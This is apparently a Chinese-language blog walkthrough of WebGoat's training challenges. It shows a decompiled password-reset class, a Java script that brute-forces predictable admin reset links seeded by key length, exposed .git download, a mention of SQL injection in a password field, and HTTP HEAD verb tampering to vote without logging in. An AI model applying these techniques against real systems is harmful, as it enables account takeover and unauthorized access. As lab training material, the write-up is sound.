Challenges
类似 CTF 的无任何提示的题目,提交flag过关。
CTF需要发散性思维和想象力。
Admin lost password
默认页面给出了用户名admin。但是不知道密码。
logo里面找密码,我是一点没脾气。
Without password
以Larry身份登录。
SQL注入,竟然注入在密码字段。
Admin password reset
重置admin的密码。
给自己的邮箱发邮件,点击重置链接显示不是admin用户。
在 http://www.webgoat.local:8080/WebGoat/challenge/7/.git 下了个git的压缩包。
解压,然后打开命令开,使用 git status
来看一下仓库修改等状态。
使用 git restore PasswordResetLink.class
恢复文件。
通过 jd-gui
反编译 PasswordResetLink.class
查看源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import java.util.Random;
public class PasswordResetLink {
public String createPasswordReset(String username, String key) { Random random = new Random();
if (username.equalsIgnoreCase("admin")) random.setSeed(key.length());
return scramble(random, scramble(random, scramble(random, MD5.getHashString(username)))); }
public static String scramble(Random random, String input) { char[] charArray = input.toCharArray(); for (int i = 0; i < charArray.length; i++) { int randomIndex = random.nextInt(charArray.length);
char temp = charArray[i]; charArray[i] = charArray[randomIndex]; charArray[randomIndex] = temp; } return new String(charArray); }
public static void main(String[] args) { if (args == null || args.length != 2) { System.out.println("需要用户名和密钥"); System.exit(1); }
String username = args[0]; String key = args[1];
System.out.println("为 " + username + " 生成密码重置链接");
System.out.println("创建的密码重置链接: " + (new PasswordResetLink()).createPasswordReset(username, key)); } }
|
按照 createPasswordReset
的算法,每次都是通过随机的位置打乱这个username值对应的MD5值,那他喵的咋破?
问题就出在随机数这里,随机数其实并不随机,设置好种子以后,随机数序列就是固定的了。
所以对于admin来说,由于设置了随机数种子,这里的混淆函数每次都是相同的处理过程,并不影响我们获取正确的密码重置序列。
那直接写个for循环来穷举key的长度即可。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import java.util.Random;
public class PasswordResetLinkCrack {
public String createPasswordReset(String username, String key) { Random random = new Random(); if (username.equalsIgnoreCase("admin")) { random.setSeed(key.length()); } return scramble(random, scramble(random, scramble(random, "21232f297a57a5a743894a0e4a801fc3"))); }
public static String scramble(Random random, String inputString) { char[] a = inputString.toCharArray(); for (int i = 0; i < a.length; i++) { int j = random.nextInt(a.length); char temp = a[i]; a[i] = a[j]; a[j] = temp; } return new String(a); }
public static void main(String[] args) {
String username = "admin"; String key = ""; for (int i = 1; i <= 10; i++) { key += "x"; System.out.printf("%2d:", key.length()); System.out.println("http://www.webgoat.local:8080/WebGoat/challenge/7/reset-password/" + new PasswordResetLinkCrack().createPasswordReset(username, key)); } } }
|
代码跑完,对输出的每个链接在浏览器中依次访问即可确认正确链接。也可以复制到bp等工具中作为字典跑,看返回数据大小区分。
然鹅,爆破到了几十依然没有找到答案。代码审计吧。
源码给出的答案:375afe1104f4a487a73823c50a9292a2
实际跑出来的:a081235eff82092a319374c24aaa7574
我甚至怀疑jdk版本问题,切换了三个版本都是一样的结果。
所以,这题答案是错的!
Without password
无账号投票。
对投票的请求进行请求方法枚举。发现可以通过HEAD方法投票成功。而且OPTIONS会提示支持的方法。
HTTP常用请求方法如下:
1 2 3 4 5 6 7 8 9
| GET POST HEAD OPTIONS PUT PATCH DELETE CONNECT TRACE
|